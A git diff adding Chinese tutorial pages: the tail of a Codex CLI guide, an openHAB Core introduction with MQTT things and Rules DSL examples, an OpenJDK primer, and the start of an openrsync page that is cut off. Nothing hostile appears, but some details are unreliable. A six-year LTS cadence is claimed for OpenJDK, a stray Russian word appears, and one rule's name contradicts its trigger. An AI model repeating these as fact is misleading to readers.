与 Cursor / Claude Code 怎么选 + +| 维度 | Codex CLI | IDE 内置代理(如 Cursor) | +|------|-----------|---------------------------| +| 界面 | 终端 TUI | 编辑器内嵌 | +| 触发 | shell、CI 脚本 | 选中代码、侧边栏 | +| 多文件编辑 | 强,靠代理循环 | 强,带 diff 预览 | +| 非编码用户 | 门槛高 | 相对低 | + +很多团队是**组合使用**:日常在 Cursor 里写,夜间 CI 用 `codex exec` 尝试自动修 lint,或统一用 ChatGPT 订阅额度。 + +## 踩过的坑 + +1. **不在 Git 仓库里跑**:默认会检查 Git 根;临时目录要加 `--skip-git-repo-check`。 +2. **沙箱太严导致 `npm install` 失败**:需要写 `node_modules` 时用 `workspace-write`,别一直 `read-only`。 +3. **API Key 与 ChatGPT 登录能力不一致**:云任务、部分 OAuth 功能要 ChatGPT 账号;纯 API Key 读文档确认限制。 +4. **`--full-auto` 已废弃**:官方推荐 `--sandbox workspace-write`,旧脚本会打警告。 +5. **Windows 路径**:原生 PowerShell 沙箱已稳定,但 Linux 专属工具链仍建议 WSL2。 +6. **机密进 prompt**:代理会读文件、打日志;别把 `.env` 内容贴进任务,用环境变量 + `.gitignore` 隔离。 + +## 延伸阅读 + +- 官方 CLI 文档: +- 命令行完整参考: +- 功能与工作流: +- 快速开始: +- 源码: +- 配置说明:`~/.codex/config.toml` 见官方 Config basics +- 代理行为约定:仓库内 `AGENTS.md` 说明 + +## 小结 + +Codex CLI 把「会写代码的大模型」变成**能动手的工作区代理**:`codex` 负责结对编程,`codex exec` 负责自动化,`sandbox` + `approval` 负责安全边界,`MCP` 负责接外部世界。零基础上手路径很直——安装、`codex login`、在项目目录 `codex`,从一个小任务(修测试、加类型、写 README)开始,熟悉批准流程后再放开沙箱或写 CI 脚本。 diff --git a/src/content/docs/projects/openhab.md b/src/content/docs/projects/openhab.md new file mode 100644 index 000000000..5cd867198 --- /dev/null +++ b/src/content/docs/projects/openhab.md @@ -0,0 +1,311 @@ +--- +title: openHAB Core — Java OSGi 智能家居的「标准化物业中枢」 +来源: 'https://github.com/openhab/openhab-core' +日期: '2026-06-13' +分类: 操作系统 +子分类: 嵌入式 +难度: 初级 +provenance: pipeline-v3 +--- + +## 日常类比:带「统一台账」的物业中控室 + +想象你管理一栋混合品牌的大楼:一楼是飞利浦 Hue 灯,二楼是 Sonoff 开关,车库是 Z-Wave 门磁,屋顶还有 MQTT 温湿度计。每家厂商有自己的 App、协议和云账号——住户(你)不可能为 40 个设备装 40 个客户端。 + +**物业中控室**就是 openHAB 扮演的角色: + +- **登记硬件(Thing)**:物业知道「3 楼西户有一个可调光开关、一个温湿度传感器」,但住户不直接跟硬件对话。 +- **统一台账(Item)**:台账上写「客厅灯:开/关」「卧室温度:23.5°C」。仪表盘、语音助手、自动化规则只认台账,不认具体品牌。 +- **接线员(Binding)**:Hue 说 REST,Z-Wave 说射频,MQTT 说主题——Binding 把各协议翻译成 openHAB 能理解的 Channel。 +- **配线表(Link)**:台账条目「客厅灯」接到 Hue 灯泡的「开关 Channel」,才算这条能力真正可用。 +- **自动化手册(Rule)**:「日落且有人在客厅 → 开灯 30%」写在中控室的规则引擎里,由事件触发执行。 + +openHAB 是欧洲社区主导的开源家庭自动化平台,核心仓库 [openhab/openhab-core](https://github.com/openhab/openhab-core) 用 **Java + OSGi** 构建可插拔的 Binding/Addon 生态。与 [[home-assistant]] 同属「本地优先、多协议聚合」路线,但架构更强调 **Thing–Channel–Item 分层** 与 **Eclipse 式模块化(Bundle)**,适合喜欢文本配置、长期稳定运行、与 KNX/MQTT/Z-Wave 深度集成的用户。 + +--- + +## 解决什么问题 + +| 痛点 | 没有统一平台时 | openHAB 的回应 | +| --- | --- | --- | +| 协议碎片化 | 每类设备一套 SDK / 云 API | Binding 抽象为 Thing + Channel | +| UI 与硬件耦合 | 改设备要改界面逻辑 | Item 虚拟层,界面只绑 Item | +| 自动化难维护 | 厂商 App 里点选,不可版本管理 | `.items` / `.things` / `.rules` 文本可 Git 管理 | +| 欧洲标准生态 | KNX、EnOcean 等集成少 | 社区 Binding 覆盖广,KNX 等是强项 | +| 扩展与隔离 | 一个驱动崩溃拖垮全局 | OSGi Bundle 边界,Addon 可热插拔 | + +核心问题:**如何把「物理设备能力」与「应用层逻辑(界面、规则、语音)」严格分离,并用可插拔模块连接任意协议?** + +--- + +## openHAB 在整体栈中的位置 + +完整 openHAB 发行版通常包含多层(安装方式:openHABian、Docker、手动 JVM 等): + +``` +┌─────────────────────────────────────────────────────────────┐ +│ Main UI / HABPanel / 语音助手 / REST API │ +├─────────────────────────────────────────────────────────────┤ +│ openHAB Core(事件总线、Item 注册表、规则引擎、持久化) │ +│ ← openhab-core 仓库 │ +├─────────────────────────────────────────────────────────────┤ +│ Bindings / Add-ons(OSGi Bundle:MQTT、Hue、Z-Wave、KNX…) │ +├─────────────────────────────────────────────────────────────┤ +│ 物理设备 / 云服务 / MQTT Broker(如 [[mosquitto]]) │ +└─────────────────────────────────────────────────────────────┘ +``` + +**本文聚焦 Core 所体现的概念模型**:Thing、Channel、Item、Link、Rule。无论你用 UI 发现设备还是手写 `.things` 文件,最终都汇入同一套事件总线与规则引擎。 + +--- + +## 核心概念:五层模型 + +官方文档([Concepts](https://www.openhab.org/docs/concepts/))把系统拆成清晰五层: + +| 概念 | 是什么 | 日常类比 | +| --- | --- | --- | +| **Binding** | 连接某类协议/厂商的软件适配器(OSGi Addon) | 物业外包的「Hue 专线」「Z-Wave 专线」 | +| **Thing** | 可被系统管理的物理或逻辑实体(设备、服务) | 某一盏灯、某一个 MQTT Broker | +| **Channel** | Thing 暴露的单一能力(开关、温度、触发器) | 设备上的某个接口引脚 | +| **Item** | 应用层虚拟对象,有名称、类型、状态 | 台账上的「客厅灯」「卧室温度」 | +| **Link** | Channel ↔ Item 的一对多/多对多关联 | 配线:台账条目接到具体 Channel | + +数据流简化: + +``` +物理设备 ──Binding──► Thing ──Channel──► Link ──► Item ──► UI / Rule / 持久化 + ▲ + 事件总线(Item 状态变更、命令、Thing 上下线) +``` + +### Item 类型(常见) + +Item 是规则与界面操作的**唯一入口**。常见类型包括: + +| 类型 | 用途 | 典型命令 | +| --- | --- | --- | +| `Switch` | 开关 | ON / OFF | +| `Dimmer` | 调光(0–100%) | ON, OFF, INCREASE, DECREASE | +| `Number` | 数值(可带单位 `Number:Temperature`) | 数值更新 | +| `String` | 文本 | 字符串 | +| `Contact` | 开/闭(门磁) | OPEN / CLOSED | +| `Group` | 嵌套其他 Item,便于批量规则 | — | + +Thing 与 Item ** deliberately 分离**:你可以把多个 Channel Link 到同一 Item,或一个 Item 只反映某个 Channel 的状态,而不必在规则里写设备 UID。 + +### Bridge(桥接 Thing) + +Z-Wave USB stick、Hue Bridge、MQTT Broker 常建模为 **Bridge Thing**,其下挂子 Thing: + +``` +Bridge mqtt:broker:home ──包含──► Thing topic:sonoff_living +``` + +子 Thing 继承 Bridge 的连接参数(IP、用户名等),避免每个设备重复配置。 + +--- + +## 配置方式:发现 vs 文本文件 + +openHAB 支持两条路并存(可混用): + +1. **Inbox 发现**:安装 Binding 后扫描网络,UI 里点「添加」→ 存入内部数据库。 +2. **文本配置**:`$OPENHAB_CONF/things/*.things`、`items/*.items`、`rules/*.rules`,适合 Git 版本管理与 Code Review。 + +注意:UI 添加的 Thing **不会**自动写回 `.things` 文件;生产环境常选「全文本」或「发现后导出」策略,避免配置漂移。 + +--- + +## 代码示例 1:`.things` — MQTT Broker 与 Sonoff 开关 + +以下示例来自官方 Things 文档的 MQTT 模式:先定义 Broker,再定义 Generic MQTT Thing 与 Channel(可与 [[mosquitto]] 配合)。 + +文件:`conf/things/mqtt.things` + +```dsl +Bridge mqtt:broker:MyMQTTBroker [ + host="192.168.1.50", + secure=false, + username="mqtt_user", + password="mqtt_pass" +] { + Thing topic sonoff_living "Living Room Sonoff" @ "Living Room" { + Channels: + Type switch : PowerSwitch [ + stateTopic="stat/sonoff_living/POWER", + commandTopic="cmnd/sonoff_living/POWER", + on="ON", + off="OFF" + ] + Type number : Temperature [ + stateTopic="tele/sonoff_living/SENSOR", + transformationPattern="JSONPATH:$.SI7021.Temperature" + ] + } +} +``` + +解读: + +- `Bridge mqtt:broker:MyMQTTBroker`:MQTT Binding 的 broker 类型,UID 第三段 `MyMQTTBroker` 自定义。 +- 花括号内 `Thing topic sonoff_living`:Generic MQTT Thing,挂在该 Bridge 下。 +- `Type switch : PowerSwitch`:状态 Channel,订阅 `stat/...`、发布命令到 `cmnd/...`。 +- `Type number : Temperature`:用 JSONPath 从 SENSOR 报文里抽温度字段。 + +对应 **Item 与 Link**(`conf/items/living.items`): + +```dsl +Switch LivingRoom_Light "Living Room Light" { channel="mqtt:topic:MyMQTTBroker:sonoff_living:PowerSwitch" } +Number LivingRoom_Temp "Living Room Temperature [%.1f °C]" { channel="mqtt:topic:MyMQTTBroker:sonoff_living:Temperature" } +Group gGroundFloor "Ground Floor" +``` + +Channel UID 规则:`binding:thing-type:bridge-id:thing-id:channel-id`(Bridge 作父 Thing 时中间段包含 bridge id)。 + +--- + +## 代码示例 2:Rules DSL — 日落开灯 + 高温告警 + +openHAB 内置 **Rules DSL**(`.rules` 文件,位于 `conf/rules/`)。现代安装也支持 UI 规则、JavaScript/JRuby 脚本,但 DSL 仍是文档最完整、零基础最易上手的文本格式。 + +文件:`conf/rules/living.rules` + +```dsl +import org.openhab.core.model.script.actions.Timer +import org.openhab.core.library.types.PercentType + +var Timer motionOffTimer = null + +rule "Living room light on at sunset" +when + Channel 'astro:sun:local:set#event' triggered START +then + LivingRoom_Light.sendCommand(ON) + if (LivingRoom_Light.state != ON) { + logInfo("living", "Failed to turn on living room light") + } +end + +rule "Dim living room when motion clears" +when + Item LivingRoom_Motion changed to ON +then + if (motionOffTimer !== null) { + motionOffTimer.cancel() + motionOffTimer = null + } + LivingRoom_Light.sendCommand(new PercentType(70)) +end + +rule "Turn off after 10 min no motion" +when + Item LivingRoom_Motion changed to OFF +then + motionOffTimer = createTimer(now.plusMinutes(10), [ | + LivingRoom_Light.sendCommand(OFF) + motionOffTimer = null + ]) +end + +rule "High temperature warning" +when + Item LivingRoom_Temp changed +then + if ((LivingRoom_Temp.state as Number) > 28) { + sendNotification("Living room temperature above 28°C: " + LivingRoom_Temp.state) + } +end +``` + +要点: + +- **触发器**:可以是 Item 变化、`Channel` 触发(如 Astro 绑定的日落事件)、时间 Cron、系统启动等。 +- **`sendCommand` vs `postUpdate`**:前者走设备(经 Link 到 Channel);后者只改 Item 状态(模拟/测试用)。 +- **Timer**:规则内可声明 `var Timer`,避免_motion 抖动时重复关灯。 + +等价的 **极简 UI 规则** 逻辑是:When `LivingRoom_Temp` changes → If > 28 → Notification;Core 事件模型一致,只是编辑器不同。 + +--- + +## 事件与规则引擎(进阶一览) + +规则可监听多类事件([Rules 概念](https://www.openhab.org/docs/concepts/rules/)): + +| 触发源 | 示例 | +| --- | --- | +| Item | `Item Foo changed` / `received command` | +| Group | `Member of gLights changed` | +| Time | `Time cron "0 0 7 * * ?"` 每天 7:00 | +| Channel | Astro 日出日落、某些 Binding 的 trigger channel | +| Thing | `Thing 'mqtt:broker:MyMQTTBroker' changed to OFFLINE` | +| System | `System started` | + +Script Action 可嵌 JavaScript(`automation/js`)、JRuby 等;Rules DSL 适合「单文件、无 npm 依赖」的家庭场景。 + +--- + +## 持久化、Transform 与 Sitemap(知道即可) + +零基础路径上还会遇到三个邻居概念: + +- **Persistence**:把 Item 历史存 InfluxDB、MapDB 等,供图表与「过去 24h 最高温」类规则使用。 +- **Transformation**:Channel 原始字符串 → Item 状态(如 `JSONPATH`、`REGEX`、`MAP`),MQTT 示例中的 `transformationPattern` 即此类。 +- **Sitemap / Main UI**:把 Item 排成手机端控件;openHAB 3+ 主推 Main UI,旧版 `.sitemap` 仍可用。 + +不必第一天全配齐;**Thing → Item → Rule** 跑通后再加持久化与仪表盘。 + +--- + +## 与 Home Assistant 的简要对比 + +| 维度 | openHAB | Home Assistant | +| --- | --- | --- | +| 语言 / 运行时 | Java,OSGi | Python | +| 设备模型 | Thing / Channel / Item 三层 | Integration → Entity 一层 | +| 配置文化 | `.things` / `.items` 文本传统强 | YAML + UI,社区模板多 | +| 欧洲协议 | KNX、EnOcean 等历史积累深 | 全球生态、ESPHome 等更热 | +| 规则 | Rules DSL、UI、JS/JRuby | YAML 自动化、Node-RED、脚本 | + +二者都可本地部署、都支持 MQTT;选型常取决于已有硬件协议、团队语言栈(Java vs Python)与个人配置偏好。 + +--- + +## 零基础上手路径(建议顺序) + +1. **安装**:openHABian(树莓派)或官方 Docker 镜像,确认 Main UI 可访问(默认 `8080`)。 +2. **装 Binding**:Settings → Add-ons → 如 MQTT Binding、Astro Binding。 +3. **加 Thing**:MQTT 可先手写 `.things` 连 [[mosquitto]],或用 UI Inbox 发现 Hue/Z-Wave。 +4. **建 Item 并 Link**:UI「Create Items」或 `.items` 文件 `{ channel="..." }`。 +5. **写一条 Rule**:从「Item 变化 → logInfo」开始,再加 Astro 日落、定时 Cron。 +6. **持久化(可选)**:InfluxDB + Grafana 看温湿度曲线。 + +调试技巧:Developer Tools → Events 监视 `ItemStateChangedEvent`;日志 `openhab.log` / `events.log` 查 Binding 是否 ONLINE。 + +--- + +## 常见坑 + +| 现象 | 可能原因 | +| --- | --- | +| Item 一直是 NULL | Link 未建、Channel UID 写错、Thing OFFLINE | +| 规则不触发 | 文件名非 `.rules`、语法错误未加载、触发器 Item 名拼写不一致 | +| MQTT 有消息 Item 不更新 | stateTopic/commandTopic 反了、JSONPath 不匹配、未 Link | +| UI 与文件配置不一致 | 同一 Thing 既在 DB 又在 `.things`,UID 冲突 | +| 改 `.things` 不生效 | 需触发配置刷新或重启;检查 `conf/things` 路径 | + +--- + +## 小结 + +openHAB Core 提供的是一套**严格的物理–虚拟分层**:Binding 接入 Thing,Channel 暴露能力,Link 接到 Item,Rule 消费 Item 事件。日常类比就是「物业中控 + 统一台账 + 配线表 + 自动化手册」。用 MQTT `.things` 声明硬件、用 Rules DSL 写日落与告警,是从零到可运行家庭自动化的最短文本路径;深入后再扩展 OSGi Binding 开发、持久化与 Main UI 仪表盘即可。 + +--- + +## 参考链接 + +- 核心仓库:[openhab/openhab-core](https://github.com/openhab/openhab-core) +- 概念总览:[Concepts | openHAB](https://www.openhab.org/docs/concepts/) +- Things 配置:[Things | openHAB](https://www.openhab.org/docs/configuration/things.html) +- Items:[Items | openHAB](https://www.openhab.org/docs/concepts/items.html) +- Rules DSL:[Textual Rules | openHAB](https://www.openhab.org/docs/configuration/rules-dsl.html) diff --git a/src/content/docs/projects/openjdk.md b/src/content/docs/projects/openjdk.md new file mode 100644 index 000000000..fc4c2bb8c --- /dev/null +++ b/src/content/docs/projects/openjdk.md @@ -0,0 +1,291 @@ +--- +title: OpenJDK — Java 标准实现 +来源: https://github.com/openjdk/jdk +日期: 2026-06-13 +子分类: 语言运行时 +分类: 编译器 +provenance: pipeline-v3 +--- + +## 是什么 + +**OpenJDK**(Open Java Development Kit)是 Java 平台的**官方开源参考实现**,也是当今绝大多数「Java」发行版的共同祖先。你安装的 Amazon Corretto、Eclipse Temurin、Oracle JDK、Azul Zulu,乃至 Android 工具链里用到的部分 Java 类库,追根溯源都指向 [openjdk/jdk](https://github.com/openjdk/jdk) 这棵大树。 + +日常类比:如果把 **Java 语言规范(JLS)** 和 **JVM 规范(JVMS)** 看成国家颁布的「交通规则」,OpenJDK 就是政府开源的那套**标准驾校 + 车管所 + 公路养护队**—— + +- **javac** 像驾校教练:把你的 `.java` 讲义翻译成 JVM 能读的 **字节码**(`.class`); +- **HotSpot JVM** 像公路上的智能调度中心:刚上路用**解释器**慢慢带,发现某条路天天堵(热点代码)就派 **JIT 编译器**铺成高速公路(机器码); +- **类加载器** 像海关检疫:`.class` 文件入境前要验签、分舱(Bootstrap / Platform / App); +- **GC(垃圾回收器)** 像环卫系统:没人引用的对象自动清走,你只管 `new`,不用手动 `free`; +- **JDK 模块**(`java.base`、`java.net`…)像标准化市政设施:水管、电网、公交接口都写进规范,换城市(换发行版)也能用。 + +你写的 Spring Boot、`mvn test`、大数据 Spark 作业,在服务器上真正跑的,几乎都是 **OpenJDK 系 JVM + 类库**——区别往往只是「谁打包、谁打安全补丁、谁收支持费」。 + +## 为什么重要 + +不懂 OpenJDK,下面这些面试题和线上现象很难讲透: + +- **为什么 `java -version` 和 `javac -version` 可能不一致**——JDK 是工具链 + 运行时 + 类库的组合,不同供应商可能拆分打包 +- **为什么改一个循环写法能快 10 倍**——解释执行 vs C1/C2 JIT、内联、逃逸分析在起作用 +- **为什么 `-Xmx` 设很大但 RSS 涨得更猛**——堆、元空间、线程栈、JIT Code Cache、GC remembered set 都会占原生内存 +- **为什么 Java 9 后 `rt.jar` 没了**——**Jigsaw 模块化**把单体 JDK 拆成 `java.*` 模块图 +- **为什么 LTS(17、21、25)这么重要**——OpenJDK 社区每六年一个长期支持节奏,企业生产环境跟的是这条时间线 + +## 核心概念 + +### 1. JDK、JRE、JVM 三层关系 + +| 层级 | 包含什么 | 类比 | +|------|----------|------| +| **JVM** | HotSpot 执行引擎:解释、JIT、GC、线程 | 发动机 | +| **JRE**(历史概念,Java 9+ 已弱化) | JVM + 核心类库 | 发动机 + 油箱 | +| **JDK** | JRE + 开发工具(`javac`、`javadoc`、`jlink`、`jcmd`…) | 整车 + 维修工具箱 | + +现代说法:**装 JDK 就够用**;`java` 命令启动 JVM,`javac` 编译源码,`jar` / `jpackage` 打包分发。 + +### 2. 源码树:HotSpot 与模块 + +OpenJDK 源码按 **JEP 8283227** 描述的布局组织,核心两条线: + +``` +openjdk/jdk/ +├── src/hotspot/ # C++:JVM 本体(解释器、JIT、GC、线程) +│ ├── share/ # 跨平台核心 +│ ├── cpu/x86, aarch64/ # 架构相关 +│ └── os/linux, windows/ +├── src/java.base/ # java.lang、IO、集合、并发… +├── src/java.net/ # 网络 +├── src/jdk.compiler/ # javac 编译器 +└── make/ # 构建系统(configure + make) +``` + +- **HotSpot** 是 Oracle 贡献、现为 OpenJDK 默认的 JVM 实现(另有 GraalVM、OpenJ9 等竞品,但 HotSpot 是「标准答案」) +- 每个 **`src/$MODULE`** 对应 `module-info.java` 里声明的一个 **JPMS 模块** + +### 3. 类加载与双亲委派 + +类加载分 **Loading → Linking(验证、准备、解析)→ Initialization** 三阶段。默认 **AppClassLoader** 收到请求会先问 **Platform**,再问 **Bootstrap**(由 C++ 实现,加载 `java.base`)。 + +双亲委派的好处:**核心类不会被应用 jar 里的同名类顶替**(防止恶意 `java.lang.String`)。打破委派的场景:Tomcat 隔离 Web 应用、OSGi、部分框架热部署。 + +### 4. 执行引擎:解释 → C1 → C2 + +HotSpot 采用 **分层编译(Tiered Compilation)**: + +``` +字节码 + ▼ +模板解释器(Template Interpreter)── 立即执行,收集 profiling + ▼ +C1(Client Compiler)── 快速 JIT,轻量优化 + ▼ +C2(Server Compiler)── 深度优化:内联、逃逸分析、循环展开… + ▼ +去优化(Uncommon Trap)── 假设失败时回退到解释状态 +``` + +| 编译层 | 典型开关 | 特点 | +|--------|----------|------| +| 解释 | 默认冷启动 | 零编译延迟 | +| C1 | `-XX:TieredStopAtLevel=1` | 快编译,适合短生命周期 | +| C2 | 默认 L4 | 峰值性能,编译耗时长 | + +JDK 17+ 在部分平台引入 **JVMCI / Graal** 作为实验性 C2 替代;生产默认仍是 **C2**。 + +### 5. 垃圾回收器家族 + +OpenJDK HotSpot 提供多种 **CollectedHeap** 实现,按场景选用: + +| 收集器 | 开关 | 适用场景 | +|--------|------|----------| +| **G1**(默认,JDK 9+) | `-XX:+UseG1GC` | 堆数百 MB~几十 GB,可设暂停目标 `-XX:MaxGCPauseMillis` | +| **ZGC** | `-XX:+UseZGC` | 超低延迟,TB 级堆(JDK 15+ 生产可用) | +| **Parallel** | `-XX:+UseParallelGC` | 吞吐优先,批处理 | +| **Serial** | `-XX:+UseSerialGC` | 单核、小堆、嵌入式 | +| **Shenandoah** | `-XX:+UseShenandoahGC` | 低延迟(Red Hat 主导,部分发行版自带) | + +共同机制:**分代假设**——大部分对象朝生暮死;**安全点(Safepoint)**——GC 与 JIT 需要线程停在一致状态;**STW(Stop-The-World)** 阶段应尽量缩短。 + +### 6. JPMS 模块化(Java 9+) + +`module-info.java` 声明依赖与导出: + +```java +module com.example.app { + requires java.base; + requires java.net.http; + exports com.example.api; +} +``` + +- **`jlink`** 可裁剪运行时,生成只含所需模块的自定义镜像(容器镜像从 300MB+ 瘦到几十 MB) +- **强封装**:JDK 内部包默认不可反射访问,`--add-opens` 是迁移旧库时的常见补丁 + +### 7. JFR、jcmd 与可观测性 + +OpenJDK 内置 **Java Flight Recorder(JFR)**:低开销采样 CPU、分配、锁、GC、方法热点。`jcmd JFR.start` 不需额外 agent。配合 **Mission Control** 或 **async-profiler**,是线上调 JVM 的「标准仪表盘」。 + +## 从源码到运行(零基础走读) + +```java +public class Hello { + public static void main(String[] args) { + System.out.println("Hello, OpenJDK"); + } +} +``` + +1. **`javac Hello.java`** → `Hello.class`(字节码,存在常量池、方法表、栈帧限制) +2. **`java Hello`** → 启动器解析 `JAVA_HOME`,加载 **libjvm.so**,创建 VM +3. **Bootstrap 类加载器** 加载 `java.base` 里的 `System`、`PrintStream` +4. **解释器** 执行 `main` 字节码;`println` 热点路径可能被 **C2 内联** +5. 字符串与临时对象在 **Eden** 分配;Minor GC 由 **G1** 或默认收集器回收 + +## 代码示例 + +### 示例 1:用 `jlink` 构建最小运行时 + +模块化应用打包成「只带必需模块」的镜像,是 OpenJDK 9+ 的标志性能力: + +```bash +# 编译模块化应用 +javac -d out --module-source-path src $(find src -name "*.java") + +# 链接出自定义运行时(示例模块名 com.myapp) +jlink \ + --module-path out:$JAVA_HOME/jmods \ + --add-modules com.myapp \ + --launcher myapp=com.myapp/com.myapp.Main \ + --compress=2 \ + --no-header-files \ + --no-man-pages \ + --output build/runtime + +# 运行 +./build/runtime/bin/myapp +``` + +`module-info.java` 骨架: + +```java +module com.myapp { + requires java.base; + + exports com.myapp; +} +``` + +### 示例 2:观察 JIT 与 GC 行为 + +下面小程序故意制造分配与热点循环,配合 JVM 参数观察 OpenJDK 运行时决策: + +```java +public class JvmPlayground { + static volatile long sink; + + public static void main(String[] args) { + // 热点:易被 C2 优化 + long sum = 0; + for (int i = 0; i < 10_000_000; i++) { + sum += i; + } + sink = sum; + + // 短生命周期对象:新生代回收 + for (int i = 0; i < 100_000; i++) { + new byte[1024]; + } + System.gc(); // 只是建议,真正策略由 GC 决定 + System.out.println("done, sum=" + sum); + } +} +``` + +推荐运行命令(JDK 21+): + +```bash +java -XX:+PrintCompilation \ + -Xlog:gc*:stdout:time,level,tags \ + -XX:CompileCommand=print,JvmPlayground.main \ + JvmPlayground +``` + +你会看到:**C1/C2 编译日志**(哪段方法被编译)、**GC 日志**(Young/Old 区域回收)。去掉 `-XX:+PrintCompilation` 后加 `-XX:+UnlockDiagnosticVMOptions -XX:+PrintInlining` 可进一步看内联决策(仅诊断环境使用)。 + +### 示例 3:用 `ProcessHandle` 读当前 OpenJDK 进程信息 + +纯 Java API,无需第三方库,展示 JDK 与操作系统交互的一层: + +```java +import java.lang.management.ManagementFactory; +import java.lang.management.RuntimeMXBean; + +public class WhichJvm { + public static void main(String[] args) { + RuntimeMXBean rt = ManagementFactory.getRuntimeMXBean(); + System.out.println("VM name: " + rt.getVmName()); + System.out.println("VM vendor: " + rt.getVmVendor()); + System.out.println("VM version: " + rt.getVmVersion()); + System.out.println("PID: " + ProcessHandle.current().pid()); + System.out.println("Java home: " + System.getProperty("java.home")); + } +} +``` + +典型输出形如 `OpenJDK 64-Bit Server VM`、`Eclipse Adoptium`——说明二进制来自哪个 **发行版**,而规范实现仍源自 OpenJDK 源码树。 + +## 构建与参与(开发者向) + +从零构建 OpenJDK(桌面 Linux/macOS 大致流程): + +```bash +# 克隆(体积大,建议浅克隆或 bundle) +git clone https://github.com/openjdk/jdk.git +cd jdk + +# 配置(需 Xcode CLT / build-essential、boot JDK 17+) +bash configure --with-boot-jdk=$(/usr/libexec/java_home -v 21) + +# 编译(机器核心数多时可 -j) +make images + +# 产物在 build/*/images/jdk +build/*/images/jdk/bin/java -version +``` + +社区协作入口: + +- **JEP**(JDK Enhancement Proposal):新特性设计文档,如虚拟线程(JEP 444)、Record(JEP 395) +- **mailing lists** / **GitHub PR**:bug 修复与特性实现 +- **jtreg** 测试:修改 HotSpot 或类库必须过回归套件 + +## 与周边生态的关系 + +| 项目 | 关系 | +|------|------| +| **Eclipse Temurin / Adoptium** | 社区 LTS 构建,免费生产使用 | +| **Oracle JDK** | 同一源码的商业支持分支 | +| **Android ART** | 运行 Dalvik/ART 字节码,类库部分与 OpenJDK 同源历史 | +| **Kotlin / Scala** | 编译到 JVM 字节码,运行时仍是 OpenJDK | +| **GraalVM** | 可选替代 JIT/AOT 栈,兼容 OpenJDK 类库 | +| **[[v8]]** | 不同语言栈;对比可理解「托管运行时 + GC + JIT」共性 | + +## 常见误区 + +1. **「Java 慢」**——冷启动 + 解释阶段慢;预热后 JIT 代码接近 C++,瓶颈常在 IO、锁、分配率 +2. **「OpenJDK 不能商用」**——可以;注意个别发行版的商标与补丁支持条款,不是许可证禁止商用 +3. **`System.gc()` 一定触发 Full GC**——只是提示;`-XX:+DisableExplicitGC` 可忽略 +4. **堆越大越好**——过大增加 GC 负担与暂停;需结合 G1/ZGC регион与 `-XX:MaxGCPauseMillis` 调参 +5. **所有 JDK 行为完全一致**——供应商 backport、默认 GC、时区数据可能略有差异;生产应锁定具体发行版与版本 + +## 学习路径建议 + +1. **会用**:安装 Temurin 21 LTS,写小程序,`javac` / `java` / `jar` 熟练 +2. **会读**:`javap -c -v` 反汇编字节码;理解栈帧、常量池、 invokevirtual +3. **会调**:`jcmd`、`jstat`、`jmap`、JFR;读 GC 日志,设 `-Xms/-Xmx` +4. **会挖**:读 **《深入理解 Java 虚拟机》** + OpenJDK 源码 `src/hotspot/share/runtime`、`gc/g1` +5. **会跟**:每年跟 LTS 发布说明,浏览 [OpenJDK JEPs](https://openjdk.org/jeps/0) + +## 小结 + +OpenJDK 不是某一个公司的私有产品,而是 **Java 生态的公共基础设施**:语言、字节码、API、HotSpot 实现都在这里汇合。零基础只需记住一条链:**源码 → javac → 字节码 → JVM(解释 + JIT + GC)→ 你的业务**。往下挖是 C++ 的 HotSpot 与百万行类库;往上用是 Spring、Kafka、Elasticsearch 整座大厦。把 OpenJDK 当成「会自我优化的操作系统进程」,学习曲线就会清晰很多。 diff --git a/src/content/docs/projects/openrsync.md b/src/content/docs/projects/openrsync.md new file mode 100644 index 000000000..1ce9eb74c --- /dev/null +++ b/src/content/docs/projects/openrsync.md @@ -0,0 +1,236 @@ +--- +title: Openrsync — OpenBSD 团队的 rsync 实现 +来源: https://github.com/kristapsdz/openrsync +日期: 2026-06-13 +子分类: 内核与虚拟化 +分类: 操作系统 +provenance: pipeline-v3 +--- + +## 是什么 + +**Openrsync** 是 OpenBSD 开发者 Kristaps Dzonsons 用 C 写的 **rsync 协议实现**,自 OpenBSD 6.5 起进入系统基座。它和 Samba 维护的 GPL 版 [[rsync]] 说同一种「方言」——**协议版本 27**——但许可证是 **ISC(BSD 风格)**,代码体量约一万行,安全模型围绕 OpenBSD 的 `pledge(2)` 与 `unveil(2)` 设计。 + +日常类比: + +- 经典 **rsync** 像一辆功能齐全的搬家卡车:能挂拖车、能越野、能跑长途,选项面板密密麻麻, GPLv3 许可证也意味着「整车设计图」必须按 GPL 规则分享。 +- **Openrsync** 像同一城市公交系统采购的**合规中巴**:只跑固定线路(常用同步场景),车门和窗户在出厂时就焊死了能开多大(沙箱限制文件系统访问),司机能按的按钮更少,但**审计员一眼能看完整车 wiring**。 + +最小可用同步: + +```bash +# 把本地 src/ 推到远程 backup/,保留时间戳以便下次增量 +openrsync -rt ./src/ user@host:backup/ +``` + +远程拉取到本机: + +```bash +openrsync -rt user@host:src/bar user@host:src/baz ./dest/ +``` + +注意:Openrsync **只支持 rsync 命令行的一个子集**;和上游 rsync 混用时,应选两边都认识的 flag(见 `openrsync(1)`)。 + +## 为什么重要 + +不理解 Openrsync,下面几件事很难讲清楚: + +- 为什么 OpenBSD 敢把 rsync **从 ports 换成自带实现**——基座工具要可审计、许可证要宽松、攻击面要可控 +- 为什么 RPKI 验证器 **rpki-client** 会顺带资助 Openrsync——运营商要从公网拉路由证书快照,需要可信任的增量同步通道 +- 为什么说「rsync 算法」和「rsync 这个程序」是两回事——算法是 Tridgell 的滚动校验块论文;Openrsync 是**另一份独立实现**,用事件循环替代了 GPL 版的 generator 子进程 +- 为什么在 Linux 上很多人仍装 Samba rsync,而在 OpenBSD 上默认就是 `openrsync`——**生态选择 ≠ 协议垄断** + +## 核心要点 + +### 1. 角色:Sender 与 Receiver + +一次同步永远是一个 **Sender(发送方,管源文件)** 和一个 **Receiver(接收方,管目标目录)** 配对: + +| 命令形态 | 客户端角色 | 远端 `--server` 角色 | +|----------|------------|----------------------| +| `openrsync local/ host:dest/` | Sender,推数据 | Receiver | +| `openrsync host:src/ local/` | Receiver,拉数据 | Sender | + +规则:**源和目标不能同时是 remote**——不能 `hostA:foo hostB:bar` 直连双远端(GPL rsync 也这样限制)。 + +### 2. 会话拓扑:Client / Server 进程 + +你敲的那条 `openrsync` 是 **client**。若路径里带 `host:`,client 会通过 **SSH**(默认 `-e ssh`)在远端拉起 **server**: + +```text +openrsync -rt ./src/ user@host:backup/ + │ + ├─ client(本机):读本地 src,当 sender + └─ ssh 远端执行:openrsync --server --sender . backup/ + └─ server(远端):当 receiver +``` + +若走 **rsync 守护进程**,URL 形如 `rsync://host/module/path` 或 `host::module/path`,握手阶段走 